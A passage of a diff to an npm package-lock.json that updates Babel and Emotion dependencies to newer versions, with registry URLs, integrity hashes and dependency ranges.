}, "node_modules/@babel/plugin-transform-runtime/node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "dev": true, "bin": { "semver": "bin/semver.js" } }, "node_modules/@babel/plugin-transform-shorthand-properties": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz", - "integrity": "sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.22.5.tgz", + "integrity": "sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1643,13 +1691,13 @@ } }, "node_modules/@babel/plugin-transform-spread": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.20.7.tgz", - "integrity": "sha512-ewBbHQ+1U/VnH1fxltbJqDeWBU1oNLG8Dj11uIv3xVf7nrQu0bPGe5Rf716r7K5Qz+SqtAOVswoVunoiBtGhxw==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.22.5.tgz", + "integrity": "sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0" + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1659,12 +1707,12 @@ } }, "node_modules/@babel/plugin-transform-sticky-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz", - "integrity": "sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.22.5.tgz", + "integrity": "sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1674,12 +1722,12 @@ } }, "node_modules/@babel/plugin-transform-template-literals": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz", - "integrity": "sha512-S8cOWfT82gTezpYOiVaGHrCbhlHgKhQt8XH5ES46P2XWmX92yisoZywf5km75wv5sYcXDUCLMmMxOLCtthDgMA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.22.5.tgz", + "integrity": "sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1689,12 +1737,12 @@ } }, "node_modules/@babel/plugin-transform-typeof-symbol": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.9.tgz", - "integrity": "sha512-SRfwTtF11G2aemAZWivL7PD+C9z52v9EvMqH9BuYbabyPuKUvSWks3oCg6041pT925L4zVFqaVBeECwsmlguEw==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.22.5.tgz", + "integrity": "sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1704,12 +1752,28 @@ } }, "node_modules/@babel/plugin-transform-unicode-escapes": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.10.tgz", - "integrity": "sha512-kKAdAI+YzPgGY/ftStBFXTI1LZFju38rYThnfMykS+IXy8BVx+res7s2fxf1l8I35DV2T97ezo6+SGrXz6B3iQ==", + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.22.10.tgz", + "integrity": "sha512-lRfaRKGZCBqDlRU3UIFovdp9c9mEvlylmpod0/OatICsSfuQ9YFthRo1tpTkGsklEefZdqlEFdY4A2dwTb6ohg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.22.5.tgz", + "integrity": "sha512-HCCIb+CbJIAE6sXn5CjFQXMwkCClcOfPCzTlilJ8cUatfzwHlWQkbtV0zD338u9dZskwvuOYTuuaMaA8J5EI5A==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1719,13 +1783,13 @@ } }, "node_modules/@babel/plugin-transform-unicode-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz", - "integrity": "sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.22.5.tgz", + "integrity": "sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==", "dev": true, "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1734,39 +1798,43 @@ "@babel/core": "^7.0.0-0" } }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.22.5.tgz", + "integrity": "sha512-lhMfi4FC15j13eKrh3DnYHjpGj6UKQHtNKTbtc1igvAhRy4+kLhV07OpLcsN0VgDEw/MjAvJO4BdMJsHwMhzCg==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, "node_modules/@babel/preset-env": { - "version": "7.20.2", - "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.20.2.tgz", - "integrity": "sha512-1G0efQEWR1EHkKvKHqbG+IN/QdgwfByUpM5V5QroDzGV2t3S/WXNQd693cHiHTlCFMpr9B6FkPFXDA2lQcKoDg==", - "dev": true, - "dependencies": { - "@babel/compat-data": "^7.20.1", - "@babel/helper-compilation-targets": "^7.20.0", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/helper-validator-option": "^7.18.6", - "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.18.6", - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.18.9", - "@babel/plugin-proposal-async-generator-functions": "^7.20.1", - "@babel/plugin-proposal-class-properties": "^7.18.6", - "@babel/plugin-proposal-class-static-block": "^7.18.6", - "@babel/plugin-proposal-dynamic-import": "^7.18.6", - "@babel/plugin-proposal-export-namespace-from": "^7.18.9", - "@babel/plugin-proposal-json-strings": "^7.18.6", - "@babel/plugin-proposal-logical-assignment-operators": "^7.18.9", - "@babel/plugin-proposal-nullish-coalescing-operator": "^7.18.6", - "@babel/plugin-proposal-numeric-separator": "^7.18.6", - "@babel/plugin-proposal-object-rest-spread": "^7.20.2", - "@babel/plugin-proposal-optional-catch-binding": "^7.18.6", - "@babel/plugin-proposal-optional-chaining": "^7.18.9", - "@babel/plugin-proposal-private-methods": "^7.18.6", - "@babel/plugin-proposal-private-property-in-object": "^7.18.6", - "@babel/plugin-proposal-unicode-property-regex": "^7.18.6", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.22.20.tgz", + "integrity": "sha512-11MY04gGC4kSzlPHRfvVkNAZhUxOvm7DCJ37hPDnUENwe06npjIRAfInEMTGSb4LZK5ZgDFkv5hw0lGebHeTyg==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.22.20", + "@babel/helper-compilation-targets": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.15", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.22.15", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.22.15", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-async-generators": "^7.8.4", "@babel/plugin-syntax-class-properties": "^7.12.13", "@babel/plugin-syntax-class-static-block": "^7.14.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3", "@babel/plugin-syntax-export-namespace-from": "^7.8.3", - "@babel/plugin-syntax-import-assertions": "^7.20.0", + "@babel/plugin-syntax-import-assertions": "^7.22.5", + "@babel/plugin-syntax-import-attributes": "^7.22.5", + "@babel/plugin-syntax-import-meta": "^7.10.4", "@babel/plugin-syntax-json-strings": "^7.8.3", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", @@ -1776,45 +1844,62 @@ "@babel/plugin-syntax-optional-chaining": "^7.8.3", "@babel/plugin-syntax-private-property-in-object": "^7.14.5", "@babel/plugin-syntax-top-level-await": "^7.14.5", - "@babel/plugin-transform-arrow-functions": "^7.18.6", - "@babel/plugin-transform-async-to-generator": "^7.18.6", - "@babel/plugin-transform-block-scoped-functions": "^7.18.6", - "@babel/plugin-transform-block-scoping": "^7.20.2", - "@babel/plugin-transform-classes": "^7.20.2", - "@babel/plugin-transform-computed-properties": "^7.18.9", - "@babel/plugin-transform-destructuring": "^7.20.2", - "@babel/plugin-transform-dotall-regex": "^7.18.6", - "@babel/plugin-transform-duplicate-keys": "^7.18.9", - "@babel/plugin-transform-exponentiation-operator": "^7.18.6", - "@babel/plugin-transform-for-of": "^7.18.8", - "@babel/plugin-transform-function-name": "^7.18.9", - "@babel/plugin-transform-literals": "^7.18.9", - "@babel/plugin-transform-member-expression-literals": "^7.18.6", - "@babel/plugin-transform-modules-amd": "^7.19.6", - "@babel/plugin-transform-modules-commonjs": "^7.19.6", - "@babel/plugin-transform-modules-systemjs": "^7.19.6", - "@babel/plugin-transform-modules-umd": "^7.18.6", - "@babel/plugin-transform-named-capturing-groups-regex": "^7.19.1", - "@babel/plugin-transform-new-target": "^7.18.6", - "@babel/plugin-transform-object-super": "^7.18.6", - "@babel/plugin-transform-parameters": "^7.20.1", - "@babel/plugin-transform-property-literals": "^7.18.6", - "@babel/plugin-transform-regenerator": "^7.18.6", - "@babel/plugin-transform-reserved-words": "^7.18.6", - "@babel/plugin-transform-shorthand-properties": "^7.18.6", - "@babel/plugin-transform-spread": "^7.19.0", - "@babel/plugin-transform-sticky-regex": "^7.18.6", - "@babel/plugin-transform-template-literals": "^7.18.9", - "@babel/plugin-transform-typeof-symbol": "^7.18.9", - "@babel/plugin-transform-unicode-escapes": "^7.18.10", - "@babel/plugin-transform-unicode-regex": "^7.18.6", - "@babel/preset-modules": "^0.1.5", - "@babel/types": "^7.20.2", - "babel-plugin-polyfill-corejs2": "^0.3.3", - "babel-plugin-polyfill-corejs3": "^0.6.0", - "babel-plugin-polyfill-regenerator": "^0.4.1", - "core-js-compat": "^3.25.1", - "semver": "^6.3.0" + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.22.5", + "@babel/plugin-transform-async-generator-functions": "^7.22.15", + "@babel/plugin-transform-async-to-generator": "^7.22.5", + "@babel/plugin-transform-block-scoped-functions": "^7.22.5", + "@babel/plugin-transform-block-scoping": "^7.22.15", + "@babel/plugin-transform-class-properties": "^7.22.5", + "@babel/plugin-transform-class-static-block": "^7.22.11", + "@babel/plugin-transform-classes": "^7.22.15", + "@babel/plugin-transform-computed-properties": "^7.22.5", + "@babel/plugin-transform-destructuring": "^7.22.15", + "@babel/plugin-transform-dotall-regex": "^7.22.5", + "@babel/plugin-transform-duplicate-keys": "^7.22.5", + "@babel/plugin-transform-dynamic-import": "^7.22.11", + "@babel/plugin-transform-exponentiation-operator": "^7.22.5", + "@babel/plugin-transform-export-namespace-from": "^7.22.11", + "@babel/plugin-transform-for-of": "^7.22.15", + "@babel/plugin-transform-function-name": "^7.22.5", + "@babel/plugin-transform-json-strings": "^7.22.11", + "@babel/plugin-transform-literals": "^7.22.5", + "@babel/plugin-transform-logical-assignment-operators": "^7.22.11", + "@babel/plugin-transform-member-expression-literals": "^7.22.5", + "@babel/plugin-transform-modules-amd": "^7.22.5", + "@babel/plugin-transform-modules-commonjs": "^7.22.15", + "@babel/plugin-transform-modules-systemjs": "^7.22.11", + "@babel/plugin-transform-modules-umd": "^7.22.5", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", + "@babel/plugin-transform-new-target": "^7.22.5", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.22.11", + "@babel/plugin-transform-numeric-separator": "^7.22.11", + "@babel/plugin-transform-object-rest-spread": "^7.22.15", + "@babel/plugin-transform-object-super": "^7.22.5", + "@babel/plugin-transform-optional-catch-binding": "^7.22.11", + "@babel/plugin-transform-optional-chaining": "^7.22.15", + "@babel/plugin-transform-parameters": "^7.22.15", + "@babel/plugin-transform-private-methods": "^7.22.5", + "@babel/plugin-transform-private-property-in-object": "^7.22.11", + "@babel/plugin-transform-property-literals": "^7.22.5", + "@babel/plugin-transform-regenerator": "^7.22.10", + "@babel/plugin-transform-reserved-words": "^7.22.5", + "@babel/plugin-transform-shorthand-properties": "^7.22.5", + "@babel/plugin-transform-spread": "^7.22.5", + "@babel/plugin-transform-sticky-regex": "^7.22.5", + "@babel/plugin-transform-template-literals": "^7.22.5", + "@babel/plugin-transform-typeof-symbol": "^7.22.5", + "@babel/plugin-transform-unicode-escapes": "^7.22.10", + "@babel/plugin-transform-unicode-property-regex": "^7.22.5", + "@babel/plugin-transform-unicode-regex": "^7.22.5", + "@babel/plugin-transform-unicode-sets-regex": "^7.22.5", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "@babel/types": "^7.22.19", + "babel-plugin-polyfill-corejs2": "^0.4.5", + "babel-plugin-polyfill-corejs3": "^0.8.3", + "babel-plugin-polyfill-regenerator": "^0.5.2", + "core-js-compat": "^3.31.0", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" @@ -1824,42 +1909,40 @@ } }, "node_modules/@babel/preset-env/node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "dev": true, "bin": { "semver": "bin/semver.js" } }, "node_modules/@babel/preset-modules": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz", - "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", "dev": true, "dependencies": { "@babel/helper-plugin-utils": "^7.0.0", - "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", - "@babel/plugin-transform-dotall-regex": "^7.4.4", "@babel/types": "^7.4.4", "esutils": "^2.0.2" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" } }, "node_modules/@babel/preset-react": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.18.6.tgz", - "integrity": "sha512-zXr6atUmyYdiWRVLOZahakYmOBHtWc2WGCkP8PYTgZi0iJXDY2CN180TdrIW4OGOAdLc7TifzDIvtx6izaRIzg==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.22.15.tgz", + "integrity": "sha512-Csy1IJ2uEh/PecCBXXoZGAZBeCATTuePzCSB7dLYWS0vOEj6CNpjxIhW4duWwZodBNueH7QO14WbGn8YyeuN9w==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/helper-validator-option": "^7.18.6", - "@babel/plugin-transform-react-display-name": "^7.18.6", - "@babel/plugin-transform-react-jsx": "^7.18.6", - "@babel/plugin-transform-react-jsx-development": "^7.18.6", - "@babel/plugin-transform-react-pure-annotations": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.15", + "@babel/plugin-transform-react-display-name": "^7.22.5", + "@babel/plugin-transform-react-jsx": "^7.22.15", + "@babel/plugin-transform-react-jsx-development": "^7.22.5", + "@babel/plugin-transform-react-pure-annotations": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1875,56 +1958,44 @@ "dev": true }, "node_modules/@babel/runtime": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.21.0.tgz", - "integrity": "sha512-xwII0//EObnq89Ji5AKYQaRYiW/nZ3llSv29d49IuxPhKbtJoLP+9QUUZ4nVragQVtaVGeZrpB+ZtG/Pdy/POw==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.15.tgz", + "integrity": "sha512-T0O+aa+4w0u06iNmapipJXMV4HoUir03hpx3/YqXXhu9xim3w+dVphjFWl1OH8NbZHw5Lbm9k45drDkgq2VNNA==", "dependencies": { - "regenerator-runtime": "^0.13.11" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/runtime-corejs3": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.21.0.tgz", - "integrity": "sha512-TDD4UJzos3JJtM+tHX+w2Uc+KWj7GV+VKKFdMVd2Rx8sdA19hcc3P3AHFYd5LVOw+pYuSd5lICC3gm52B6Rwxw==", - "dependencies": { - "core-js-pure": "^3.25.1", - "regenerator-runtime": "^0.13.11" + "regenerator-runtime": "^0.14.0" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/template": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.20.7.tgz", - "integrity": "sha512-8SegXApWe6VoNw0r9JHpSteLKTpTiLZ4rMlGIm9JQ18KiCtyQiAMEazujAHrUS5flrcqYZa75ukev3P6QmUwUw==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.15.tgz", + "integrity": "sha512-QPErUVm4uyJa60rkI73qneDacvdvzxshT3kksGqlGWYdOTIUOwJ7RDUL8sGqslY1uXWSL6xMFKEXDS3ox2uF0w==", "dev": true, "dependencies": { - "@babel/code-frame": "^7.18.6", - "@babel/parser": "^7.20.7", - "@babel/types": "^7.20.7" + "@babel/code-frame": "^7.22.13", + "@babel/parser": "^7.22.15", + "@babel/types": "^7.22.15" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/traverse": { - "version": "7.21.2", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.21.2.tgz", - "integrity": "sha512-ts5FFU/dSUPS13tv8XiEObDu9K+iagEKME9kAbaP7r0Y9KtZJZ+NGndDvWoRAYNpeWafbpFeki3q9QoMD6gxyw==", - "dev": true, - "dependencies": { - "@babel/code-frame": "^7.18.6", - "@babel/generator": "^7.21.1", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-function-name": "^7.21.0", - "@babel/helper-hoist-variables": "^7.18.6", - "@babel/helper-split-export-declaration": "^7.18.6", - "@babel/parser": "^7.21.2", - "@babel/types": "^7.21.2", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.20.tgz", + "integrity": "sha512-eU260mPZbU7mZ0N+X10pxXhQFMGTeLb9eFS0mxehS8HZp9o1uSnFeWQuG1UPrlxgA7QoUzFhOnilHDp0AXCyHw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.22.13", + "@babel/generator": "^7.22.15", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.22.16", + "@babel/types": "^7.22.19", "debug": "^4.1.0", "globals": "^11.1.0" }, @@ -1933,12 +2004,12 @@ } }, "node_modules/@babel/types": { - "version": "7.21.2", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.21.2.tgz", - "integrity": "sha512-3wRZSs7jiFaB8AjxiiD+VqN5DTG2iRvJGQ+qYFrs/654lg6kGTQWIOFjlBo5RaXuAZjBmP3+OQH4dmhqiiyYxw==", + "version": "7.22.19", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.19.tgz", + "integrity": "sha512-P7LAw/LbojPzkgp5oznjE6tQEIWbp4PkkfrZDINTro9zgBRtI324/EYsiSI7lhPbpIQ+DCeR2NNmMWANGGfZsg==", "dependencies": { - "@babel/helper-string-parser": "^7.19.4", - "@babel/helper-validator-identifier": "^7.19.1", + "@babel/helper-string-parser": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.19", "to-fast-properties": "^2.0.0" }, "engines": { @@ -1967,57 +2038,65 @@ } }, "node_modules/@emotion/babel-plugin": { - "version": "11.10.6", - "resolved": "https://registry.npmjs.org/@emotion/babel-plugin/-/babel-plugin-11.10.6.tgz", - "integrity": "sha512-p2dAqtVrkhSa7xz1u/m9eHYdLi+en8NowrmXeF/dKtJpU8lCWli8RUAati7NcSl0afsBott48pdnANuD0wh9QQ==", + "version": "11.11.0", + "resolved": "https://registry.npmjs.org/@emotion/babel-plugin/-/babel-plugin-11.11.0.tgz", + "integrity": "sha512-m4HEDZleaaCH+XgDDsPF15Ht6wTLsgDTeR3WYj9Q/k76JtWhrJjcP4+/XlG8LGT/Rol9qUfOIztXeA84ATpqPQ==", "dependencies": { "@babel/helper-module-imports": "^7.16.7", "@babel/runtime": "^7.18.3", - "@emotion/hash": "^0.9.0", - "@emotion/memoize": "^0.8.0", - "@emotion/serialize": "^1.1.1", + "@emotion/hash": "^0.9.1", + "@emotion/memoize": "^0.8.1", + "@emotion/serialize": "^1.1.2", "babel-plugin-macros": "^3.1.0", "convert-source-map": "^1.5.0", "escape-string-regexp": "^4.0.0", "find-root": "^1.1.0", "source-map": "^0.5.7", - "stylis": "4.1.3" + "stylis": "4.2.0" } }, "node_modules/@emotion/cache": { - "version": "11.10.5", - "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-11.10.5.tgz", - "integrity": "sha512-dGYHWyzTdmK+f2+EnIGBpkz1lKc4Zbj2KHd4cX3Wi8/OWr5pKslNjc3yABKH4adRGCvSX4VDC0i04mrrq0aiRA==", + "version": "11.11.0", + "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-11.11.0.tgz", + "integrity": "sha512-P34z9ssTCBi3e9EI1ZsWpNHcfY1r09ZO0rZbRO2ob3ZQMnFI35jB536qoXbkdesr5EUhYi22anuEJuyxifaqAQ==", "dependencies": { - "@emotion/memoize": "^0.8.0", - "@emotion/sheet": "^1.2.1", - "@emotion/utils": "^1.2.0", - "@emotion/weak-memoize": "^0.3.0", - "stylis": "4.1.3" + "@emotion/memoize": "^0.8.1", + "@emotion/sheet": "^1.2.2", + "@emotion/utils": "^1.2.1", + "@emotion/weak-memoize": "^0.3.1", + "stylis": "4.2.0" } }, "node_modules/@emotion/hash": { - "version": "0.9.0", - "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.9.0.tgz", - "integrity": "sha512-14FtKiHhy2QoPIzdTcvh//8OyBlknNs2nXRwIhG904opCby3l+9Xaf/wuPvICBF0rc1ZCNBd3nKe9cd2mecVkQ==" + "version": "0.9.1", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.9.1.tgz", + "integrity": "sha512-gJB6HLm5rYwSLI6PQa+X1t5CFGrv1J1TWG+sOyMCeKz2ojaj6Fnl/rZEspogG+cvqbt4AE/2eIyD2QfLKTBNlQ==" + }, + "node_modules/@emotion/is-prop-valid": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@emotion/is-prop-valid/-/is-prop-valid-1.2.1.tgz", + "integrity": "sha512-61Mf7Ufx4aDxx1xlDeOm8aFFigGHE4z+0sKCa+IHCeZKiyP9RLD0Mmx7m8b9/Cf37f7NAvQOOJAbQQGVr5uERw==", + "dependencies": { + "@emotion/memoize": "^0.8.1" + } }, "node_modules/@emotion/memoize": { - "version": "0.8.0", - "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.8.0.tgz", - "integrity": "sha512-G/YwXTkv7Den9mXDO7AhLWkE3q+I92B+VqAE+dYG4NGPaHZGvt3G8Q0p9vmE+sq7rTGphUbAvmQ9YpbfMQGGlA==" + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.8.1.tgz", + "integrity": "sha512-W2P2c/VRW1/1tLox0mVUalvnWXxavmv/Oum2aPsRcoDJuob75FC3Y8FbpfLwUegRcxINtGUMPq0tFCvYNTBXNA==" }, "node_modules/@emotion/react": { - "version": "11.10.6", - "resolved": "https://registry.npmjs.org/@emotion/react/-/react-11.10.6.tgz", - "integrity": "sha512-6HT8jBmcSkfzO7mc+N1L9uwvOnlcGoix8Zn7srt+9ga0MjREo6lRpuVX0kzo6Jp6oTqDhREOFsygN6Ew4fEQbw==", + "version": "11.11.1", + "resolved": "https://registry.npmjs.org/@emotion/react/-/react-11.11.1.tgz", + "integrity": "sha512-5mlW1DquU5HaxjLkfkGN1GA/fvVGdyHURRiX/0FHl2cfIfRxSOfmxEH5YS43edp0OldZrZ+dkBKbngxcNCdZvA==", "dependencies": { "@babel/runtime": "^7.18.3", - "@emotion/babel-plugin": "^11.10.6", - "@emotion/cache": "^11.10.5", - "@emotion/serialize": "^1.1.1", - "@emotion/use-insertion-effect-with-fallbacks": "^1.0.0", - "@emotion/utils": "^1.2.0", - "@emotion/weak-memoize": "^0.3.0", + "@emotion/babel-plugin": "^11.11.0", + "@emotion/cache": "^11.11.0", + "@emotion/serialize": "^1.1.2", + "@emotion/use-insertion-effect-with-fallbacks": "^1.0.1", + "@emotion/utils": "^1.2.1", + "@emotion/weak-memoize": "^0.3.1", "hoist-non-react-statics": "^3.3.1" }, "peerDependencies": { @@ -2030,54 +2109,112 @@ } }, "node_modules/@emotion/serialize": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-1.1.1.tgz", - 